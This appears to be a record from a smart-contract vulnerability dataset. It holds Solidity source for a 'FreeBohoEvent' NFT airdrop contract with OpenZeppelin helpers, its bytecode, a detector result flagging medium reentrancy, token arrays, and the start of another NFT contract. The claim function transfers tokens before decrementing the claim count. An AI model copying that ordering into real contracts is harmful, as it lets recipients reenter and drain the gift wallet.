freeBohoBonesClaims[0x1aD0D21036d845acF68a26907338F9180b58E992] = 1;
freeBohoBonesClaims[0x3Df9e23C1e069702D86736BE5C2f425b9e528835] = 1;
freeBohoBonesClaims[0xE463d56e80da7292A90faF77bA3F7524F0a0dCCd] = 1;
freeBohoBonesClaims[0xd9888eEFfab4b0a215C8af47923d80190beAcd5b] = 1;
freeBohoBonesClaims[0xf269a8883a87AdB37CCe8a5de21Df504796654f5] = 1;
freeBohoBonesClaims[0xB74FA1c2BDA1D5b5FFC9C5818088F4CFD1De3376] = 1;
freeBohoBonesClaims[0x617970384Ef3f78c67bcd47D0554E26a0bA315Fa] = 1;
freeBohoBonesClaims[0x7fb6F52996ba02884Fd4Cd136bB2af3D8909c56C] = 1;
freeBohoBonesClaims[0x7bE2f3eB66634762ba9b00287104e3f904a7A982] = 1;
freeBohoBonesClaims[0x849fc8D14979b3525F00D022DD1a600Ed45fEd23] = 1;
freeBohoBonesClaims[0x1a968C13bE8eafFaDa60d3d0A1128aB4B914960A] = 1;
freeBohoBonesClaims[0xE2aB3D4d0684eBF9D994dAbA3AcD91caCD99D862] = 1;
freeBohoBonesClaims[0xBF72F634b1938f3dFA6e11c92C2AA115e55497dC] = 1;
freeBohoBonesClaims[0x73EfD6D8CB6AC17e147944b27a7a9890a8bc48b1] = 1;
freeBohoBonesClaims[0x6f0290eEe760B6e025ff1546ec1154546c71C203] = 1;
freeBohoBonesClaims[0xEB878d6728CB326360049FE1F14E3F48B4fFAFdd] = 1;
freeBohoBonesClaims[0xC2F33614aE5EC27B4b27785A74aeF12EC45087C0] = 1;
freeBohoBonesClaims[0x1D751999d27F4EB8E48A280075dCdcE546078fbd] = 1;
freeBohoBonesClaims[0x50869083Fd81B1858864bF72b843a060De7Fa695] = 1;
freeBohoBonesClaims[0xD74597B0D23753d186d79f96Da01a0b73cAe98aA] = 1;
freeBohoBonesClaims[0x4E10b980073D5Db98A10352a70c7BdDc78CCa0A6] = 1;
freeBohoBonesClaims[0xb1F63d177fD6A8Df51e85Ed0DBbf498f1D778C84] = 1;
freeBohoBonesClaims[0xEb6C72D50a6F9fA53e25946085373d40c4437e99] = 1;
freeBohoBonesClaims[0xE55E2d78b143BA8f52e5e5EFb35c97455022e27c] = 1;
freeBohoBonesClaims[0xe542fFa2D9FB68F7F72f7E6b1A1d629650cBdE2E] = 1;
freeBohoBonesClaims[0x3ad13bC4030129269537F7fF97Cb14B9b94465Fd] = 1;
freeBohoBonesClaims[0x94C0aF134A748f4E973455Fc3D6c4130e47DDb5d] = 1;
freeBohoBonesClaims[0xAcf63dc3a045E5B530A3c1aE8F92565368e7BbeF] = 1;
freeBohoBonesClaims[0x7cF85fdC696EE5A9f872c3408dDb57c587aDC079] = 1;
freeBohoBonesClaims[0x017715B9A71DaBed2DdAE0BBBb6b0896509C8212] = 1;
freeBohoBonesClaims[0x2Ac8507AC54FbBf114FDf5520E3D9BD0f738C281] = 1;
freeBohoBonesClaims[0x7768FBc67afecF2b4Caee9D1841ad14637D13652] = 1;
freeBohoBonesClaims[0x49f407e2Af4b1305f61b5F65e660eC2a65DD588b] = 1;
freeBohoBonesClaims[0xEB421fE44B25dA86982CDc36c525D5f1BAAFcfcA] = 1;
freeBohoBonesClaims[0x902222853F4885A685962bd191D885c0A5b92Fc7] = 1;
freeBohoBonesClaims[0x263994646816dBfD5849F44dec7909fc2c1f8037] = 1;
freeBohoBonesClaims[0x2DfC6f2EB7f89EA1ad1C785c94e407e658EBc645] = 1;
freeBohoBonesClaims[0x3f4772105eE6bFF1241A8564D32525Bb46725401] = 1;
freeBohoBonesClaims[0xe2817B82845A19D93E817EDfB0F68E78f34D35A5] = 1;
freeBohoBonesClaims[0x8d4B4c1eC39148E22c296c0090f7D4f3478cFE75] = 1;
freeBohoBonesClaims[0x5aA91fc20C63C03f0C6e108FaDcFe521F117Bbd4] = 1;
freeBohoBonesClaims[0x0b9c75E3786Fbe0c7c795C4fEe19111693b529C8] = 1;
freeBohoBonesClaims[0x7642afA2F917Be8DEe1e4e16033A8CA3B8389aB3] = 1;
freeBohoBonesClaims[0x50D356d2440c0e2Bcdbb2f26f7fFBfAd135358FE] = 1;
freeBohoBonesClaims[0x6B796152085318d1c415762e9d876E50593E1B9F] = 1;
freeBohoBonesClaims[0x9F9E9430D66b6B05EA0E007E8E957a9Ba41ad1D1] = 1;
freeBohoBonesClaims[0x49E7C2De8b8e4886CE2511Bec96325f96F2D71C3] = 1;
freeBohoBonesClaims[0xeb67a9E45d3D74f3794Dd716651d40Ef97Fc1b51] = 1;
freeBohoBonesClaims[0x207d48a7C63960451bD3E02A0A43AA66f550196E] = 1;
freeBohoBonesClaims[0xAfc4CbA5Af99f89b5a7aCD2cc04876dF6889d34B] = 1;
freeBohoBonesClaims[0xd1Af703A834d074617785c989291eC0067Faa56F] = 1;
freeBohoBonesClaims[0x3361Ed013fEf5fBa7b7a19C6de6EdcF686813820] = 1;
freeBohoBonesClaims[0xDB720e23034d380F414bb31c142B501622458a1B] = 1;
freeBohoBonesClaims[0x92DbC41f895d65fE7081cc2bEE91E9EAae7EA1c7] = 1;
freeBohoBonesClaims[0x80136fE63bdB22b981D5C6E2738bd2216fB05C67] = 1;
freeBohoBonesClaims[0x0C190A40D2925fB44D1e114963A8C642b8117A49] = 1;
freeBohoBonesClaims[0xB0189F86c7D8079965CBF624dBd3AD5A01b00585] = 1;
freeBohoBonesClaims[0x0c4037B72A0C63340FB530690EA123C612665A34] = 1;
freeBohoBonesClaims[0xa54d7BD6E82152E061097869b9f478c800e103E4] = 1;
freeBohoBonesClaims[0x215792FC17032988abEb64BdAeC23487AC384694] = 1;
freeBohoBonesClaims[0x5966A41fd8588Ae21FD0A01DB36d1ba8C07D1eA5] = 1;
freeBohoBonesClaims[0x112B22a9664a22D02426713EC9ffeB072f64E291] = 1;
freeBohoBonesClaims[0x3043ec75e223C7c1aE74bcFA7EAab906f9ADC883] = 1;
freeBohoBonesClaims[0x7d340fAA2A5cB6dEAaD18393477249334312a249] = 1;
freeBohoBonesClaims[0x70781b7a217FB5798431225e829ab90A314a6845] = 1;
freeBohoBonesClaims[0xBa44c50261348505F988Dc44F564568358B68EE6] = 1;
freeBohoBonesClaims[0x2fb197c272879CACA350Fe0DbFE0e4de4984403E] = 1;
freeBohoBonesClaims[0x72eA3953c6444cE68Ccaf23B93C306e56A591Db2] = 1;
freeBohoBonesClaims[0xc63412bfeA02513132d829d9C396510a8065E564] = 1;
freeBohoBonesClaims[0xD6e0Ce6a9A5AB32e0ac25F3c0241831268c70BF3] = 1;
freeBohoBonesClaims[0xb8F5EE84E27497345dea6a1815027A41C8eaA7Eb] = 1;
freeBohoBonesClaims[0xa627734D74AAb4D17c9EF358e5b44B0f951499E9] = 1;
freeBohoBonesClaims[0x33094A50A0e29A22a2DAd090006fE27E3A2f0deb] = 1;
freeBohoBonesClaims[0xc0114E2fCBc7fa985452AA73C986F947716c4b84] = 1;
freeBohoBonesClaims[0x91107D20346BbBa8AeF12f34b541F3ec39a70575] = 1;
freeBohoBonesClaims[0xA06941D533f7714f12387381284d7af21f58764e] = 1;
freeBohoBonesClaims[0x6dd0E9b9bF3a19B89297FE22914C87F0e3402A96] = 1;
freeBohoBonesClaims[0xf27BdcD155cC9f5e90baFE616D2E8cEe47609A7A] = 1;
freeBohoBonesClaims[0x94F23611cBd115cdB78Acdc1401028a5526904Df] = 1;
freeBohoBonesClaims[0x9678C36Dc13FF1c48bdEFfa0CC0Da14C4fFd4D92] = 1;
freeBohoBonesClaims[0x074a19AefAC9E774d1b29F584B9ce74bc4D2b2de] = 1;
freeBohoBonesClaims[0xff2450085510b5Eb86c7f9451d5FBc0cA5a793AA] = 1;
freeBohoBonesClaims[0xa752C19A93B612caCF3dbc13D8E5E251eF6f75c1] = 1;
freeBohoBonesClaims[0xC1E69Aef752f3b9B8BE4E6b2e6c7A9c04D7f1166] = 1;
}
/**************************************************************/
/******************** Function Modifiers **********************/
/**************************************************************/
/**
* @dev Prevents a function from running if contract is paused
*/
modifier eventIsActive() {
require(isActive == true, "FreeBohoEvent: Gift event has paused or ended.");
_;
}
/**
* @param claimee address of the claimee checking claimed status for.
* @dev Prevents repeat claims for a given claimee.
*/
modifier isNotClaimed(address claimee) {
uint256 numClaims = freeBohoBonesClaims[claimee];
require(numClaims != 0, "FreeBohoEvent: You have no more free Bohos to claim.");
_;
}
/**************************************************************/
/************** Access Controlled Functions *******************/
/**************************************************************/
/**
* @dev Sets the gift event to unpaused if paused, and paused if unpaused.
* @dev Can only be called by contract owner.
*/
function flipEventState() public onlyOwner {
isActive = !isActive;
}
/**
* @param newBohoBonesContractAddress Address of the new Boho Bones ERC721 contract.
* @dev Sets the address for the referenced Boho Bones ERC721 contract.
* @dev Can only be called by contract owner.
*/
function setBohoBonesContractAddress(address newBohoBonesContractAddress) public onlyOwner {
bohoBonesContract = ERC721(newBohoBonesContractAddress);
}
/**
* @param newDispensaryWallet Address of the new wallet free bohos will be dispensed from.
* @dev Sets the address for the referenced dispensary wallet.
* @dev Can only be called by contract owner.
*/
function setDispensaryWallet(address newDispensaryWallet) public onlyOwner {
dispensaryWallet = newDispensaryWallet;
}
/**
* @param gifteeAddress Address to be added to the list of giftees.
* @param numFreeBohoBones Amount of free boho bones to give to giftee.
* @dev Can only be called by owner.
*/
function addGifteeAddress(address gifteeAddress, uint256 numFreeBohoBones) public onlyOwner {
require(gifteeAddress != address(0), "BohoBones: Cannot add burn address to the gift event.");
freeBohoBonesClaims[gifteeAddress] = numFreeBohoBones;
}
/**
* @param newGifteeAddresses Addresses to be added to the list of giftee addresses.
* @param giftAmount Amount of free boho bones to give per address.
* @dev Can only be called by owner.
*/
function addGifteeAddresses(address[] memory newGifteeAddresses, uint256 giftAmount) public onlyOwner {
for (uint256 i = 0; i < newGifteeAddresses.length; i++) {
addGifteeAddress(newGifteeAddresses[i], giftAmount);
}
}
/**
* @param addressToDelete The address to remove from the giftee list.
* @dev Can only be called by owner.
*/
function removeGifteeAddress(address addressToDelete) public onlyOwner {
delete freeBohoBonesClaims[addressToDelete];
}
/**
* @param gifteeAddressesToDelete Addresses to be removed from the list of giftee addresses.
* @dev Can only be called by owner.
*/
function removeGifteeAddresses(address[] memory gifteeAddressesToDelete) public onlyOwner {
for (uint256 i = 0; i < gifteeAddressesToDelete.length; i++) {
removeGifteeAddress(gifteeAddressesToDelete[i]);
}
}
/**************************************************************/
/******************** Getter Functions ************************/
/**************************************************************/
/**
* @dev Returns the balance of the dispensary wallet.
*/
function getDispensaryBalance() public view returns (uint256) {
return ERC721(bohoBonesContract).balanceOf(dispensaryWallet);
}
/**************************************************************/
/******************** Claim Functions *************************/
/**************************************************************/
/**
* @dev Claims one free boho for the given address.
* @dev Can only be called when gift event is active.
* @dev Can only be called by the owner of the free bohos.
*/
function claimOneFreeBoho() internal eventIsActive isNotClaimed(msg.sender) {
uint256 numFreeBohos = freeBohoBonesClaims[msg.sender];
bohoBonesContract.safeTransferFrom(
dispensaryWallet,
msg.sender,
bohoBonesContract.tokenOfOwnerByIndex(dispensaryWallet, 0)
);
// Reduce num free bohos by one
freeBohoBonesClaims[msg.sender] = numFreeBohos.sub(1);
// Emit claim event
emit Claim(msg.sender);
}
/**
* @dev Claims N free bohos for the given address.
* @dev Can only be called when gift event is active.
* @dev Can only be called by the owner of the free bohos.
*/
function claimNFreeBohos(uint256 n) public eventIsActive isNotClaimed(msg.sender) {
uint256 numFreeBohos = freeBohoBonesClaims[msg.sender];
require(numFreeBohos >= n, "FreeBohoEvent: Not enough gifts left for address.");
require(n > 0, "FreeBohoEvent: Please input a positive integer.");
for (uint256 i = 0; i < n; i++) {
claimOneFreeBoho();
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Receiver.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721Holder is IERC721Receiver {
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
} | 0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80637f83c171116100a2578063e0516d2611610071578063e0516d2614610244578063f2fde38b14610257578063f7cc4c091461026a578063faf7ca541461027d578063fe14700b1461028557600080fd5b80637f83c171146102055780638da5cb5b14610218578063a01f877c14610229578063c54916e61461023c57600080fd5b806346d3ce18116100de57806346d3ce18146101c25780636070aece146101d7578063715018a6146101ea5780637a07c7bc146101f257600080fd5b8063137fa69f14610110578063150b7a02146101435780631c21fa101461017a57806322f3e2d4146101a5575b600080fd5b61013061011e366004610ca1565b60036020526000908152604090205481565b6040519081526020015b60405180910390f35b610161610151366004610d03565b630a85bd0160e11b949350505050565b6040516001600160e01b0319909116815260200161013a565b60025461018d906001600160a01b031681565b6040516001600160a01b03909116815260200161013a565b6004546101b29060ff1681565b604051901515815260200161013a565b6101d56101d0366004610e4a565b610298565b005b6101d56101e5366004610e8f565b61032b565b6101d561053b565b6101d5610200366004610ca1565b61058f565b6101d5610213366004610ca1565b6105f9565b6000546001600160a01b031661018d565b6101d5610237366004610ea8565b610663565b6101306106ef565b6101d5610252366004610ca1565b610778565b6101d5610265366004610ca1565b6107da565b6101d5610278366004610ee5565b610893565b6101d5610973565b60015461018d906001600160a01b031681565b6000546001600160a01b031633146102e55760405162461bcd60e51b81526020600482018190526024820152600080516020610f8783398151915260448201526064015b60405180910390fd5b60005b82518110156103265761031483828151811061030657610306610f0f565b602002602001015183610893565b8061031e81610f3b565b9150506102e8565b505050565b60045460ff1615156001146103995760405162461bcd60e51b815260206004820152602e60248201527f46726565426f686f4576656e743a2047696674206576656e742068617320706160448201526d3ab9b2b21037b91032b73232b21760911b60648201526084016102dc565b33600081815260036020526040902054806104135760405162461bcd60e51b815260206004820152603460248201527f46726565426f686f4576656e743a20596f752068617665206e6f206d6f726520604482015273333932b2902137b437b9903a379031b630b4b69760611b60648201526084016102dc565b33600090815260036020526040902054838110156104995760405162461bcd60e51b815260206004820152603160248201527f46726565426f686f4576656e743a204e6f7420656e6f7567682067696674732060448201527f6c65667420666f7220616464726573732e00000000000000000000000000000060648201526084016102dc565b6000841161050f5760405162461bcd60e51b815260206004820152602f60248201527f46726565426f686f4576656e743a20506c6561736520696e707574206120706f60448201527f73697469766520696e74656765722e000000000000000000000000000000000060648201526084016102dc565b60005b84811015610534576105226109cf565b8061052c81610f3b565b915050610512565b5050505050565b6000546001600160a01b031633146105835760405162461bcd60e51b81526020600482018190526024820152600080516020610f8783398151915260448201526064016102dc565b61058d6000610c22565b565b6000546001600160a01b031633146105d75760405162461bcd60e51b81526020600482018190526024820152600080516020610f8783398151915260448201526064016102dc565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106415760405162461bcd60e51b81526020600482018190526024820152600080516020610f8783398151915260448201526064016102dc565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106ab5760405162461bcd60e51b81526020600482018190526024820152600080516020610f8783398151915260448201526064016102dc565b60005b81518110156106eb576106d98282815181106106cc576106cc610f0f565b6020026020010151610778565b806106e381610f3b565b9150506106ae565b5050565b6001546002546040516370a0823160e01b81526001600160a01b03918216600482015260009291909116906370a082319060240160206040518083038186803b15801561073b57600080fd5b505afa15801561074f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107739190610f56565b905090565b6000546001600160a01b031633146107c05760405162461bcd60e51b81526020600482018190526024820152600080516020610f8783398151915260448201526064016102dc565b6001600160a01b0316600090815260036020526040812055565b6000546001600160a01b031633146108225760405162461bcd60e51b81526020600482018190526024820152600080516020610f8783398151915260448201526064016102dc565b6001600160a01b0381166108875760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102dc565b61089081610c22565b50565b6000546001600160a01b031633146108db5760405162461bcd60e51b81526020600482018190526024820152600080516020610f8783398151915260448201526064016102dc565b6001600160a01b0382166109575760405162461bcd60e51b815260206004820152603560248201527f426f686f426f6e65733a2043616e6e6f7420616464206275726e20616464726560448201527f737320746f207468652067696674206576656e742e000000000000000000000060648201526084016102dc565b6001600160a01b03909116600090815260036020526040902055565b6000546001600160a01b031633146109bb5760405162461bcd60e51b81526020600482018190526024820152600080516020610f8783398151915260448201526064016102dc565b6004805460ff19811660ff90911615179055565b60045460ff161515600114610a3d5760405162461bcd60e51b815260206004820152602e60248201527f46726565426f686f4576656e743a2047696674206576656e742068617320706160448201526d3ab9b2b21037b91032b73232b21760911b60648201526084016102dc565b3360008181526003602052604090205480610ab75760405162461bcd60e51b815260206004820152603460248201527f46726565426f686f4576656e743a20596f752068617665206e6f206d6f726520604482015273333932b2902137b437b9903a379031b630b4b69760611b60648201526084016102dc565b33600081815260036020526040808220546001546002549251632f745c5960e01b81526001600160a01b0393841660048201819052602482019590955291949216926342842e0e9290918490632f745c599060440160206040518083038186803b158015610b2457600080fd5b505afa158015610b38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5c9190610f56565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b158015610bab57600080fd5b505af1158015610bbf573d6000803e3d6000fd5b50505050610bd7600182610c7290919063ffffffff16565b3360008181526003602090815260409182902093909355519081527f0c7ef932d3b91976772937f18d5ef9b39a9930bef486b576c374f047c4b512dc910160405180910390a1505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610c7e8284610f6f565b9392505050565b80356001600160a01b0381168114610c9c57600080fd5b919050565b600060208284031215610cb357600080fd5b610c7e82610c85565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610cfb57610cfb610cbc565b604052919050565b60008060008060808587031215610d1957600080fd5b610d2285610c85565b93506020610d31818701610c85565b935060408601359250606086013567ffffffffffffffff80821115610d5557600080fd5b818801915088601f830112610d6957600080fd5b813581811115610d7b57610d7b610cbc565b610d8d601f8201601f19168501610cd2565b91508082528984828501011115610da357600080fd5b808484018584013760008482840101525080935050505092959194509250565b600082601f830112610dd457600080fd5b8135602067ffffffffffffffff821115610df057610df0610cbc565b8160051b610dff828201610cd2565b9283528481018201928281019087851115610e1957600080fd5b83870192505b84831015610e3f57610e3083610c85565b82529183019190830190610e1f565b979650505050505050565b60008060408385031215610e5d57600080fd5b823567ffffffffffffffff811115610e7457600080fd5b610e8085828601610dc3565b95602094909401359450505050565b600060208284031215610ea157600080fd5b5035919050565b600060208284031215610eba57600080fd5b813567ffffffffffffffff811115610ed157600080fd5b610edd84828501610dc3565b949350505050565b60008060408385031215610ef857600080fd5b610f0183610c85565b946020939093013593505050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415610f4f57610f4f610f25565b5060010190565b600060208284031215610f6857600080fd5b5051919050565b600082821015610f8157610f81610f25565b50039056fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220d838f98868560f5624cbab4ce8501203672af671eb1ab216fc5fa892547e472c64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2575,
2620,
23499,
2692,
2683,
2475,
2546,
23833,
2683,
2683,
22022,
2683,
2546,
2094,
2581,
2475,
2497,
2509,
26337,
2581,
19961,
16086,
2549,
2050,
24434,
29292,
3207,
2497,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
2003,
2278,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
21183,
12146,
1013,
9413,
2278,
2581,
17465,
14528,
1012,
14017,
1000,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,519 | 0x9546eeb89df8f010da4953c2ef456e282b3db25a | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./ERC721Enumerable.sol";
import "./Ownable.sol";
import "./ECDSA.sol";
contract AngryApesUnited is ERC721Enumerable, Ownable {
using ECDSA for bytes32;
uint256 public mintPrice = 0.065 ether;
uint256 private reserveAtATime = 45;
uint256 private reservedCount = 0;
uint256 private maxReserveCount = 225;
address private signerAddress = 0x2187D614e851758e7218c43ACFe2690693A15dE4;
string _baseTokenURI;
bool public isActive = false;
bool public isAllowListActive = false;
uint256 public maximumMintSupply = 8888;
uint256 public maximumAllowedTokensPerPurchase = 20;
uint256 public allowListMaxMint = 5;
mapping(address => uint256) private _allowListClaimed;
event AssetMinted(uint256 tokenId, address sender);
event SaleActivation(bool isActive);
constructor(string memory baseURI) ERC721("Angry Apes United", "AAU") {
setBaseURI(baseURI);
}
modifier saleIsOpen {
require(totalSupply() <= maximumMintSupply, "Sale has ended.");
_;
}
modifier onlyAuthorized() {
require(owner() == msg.sender);
_;
}
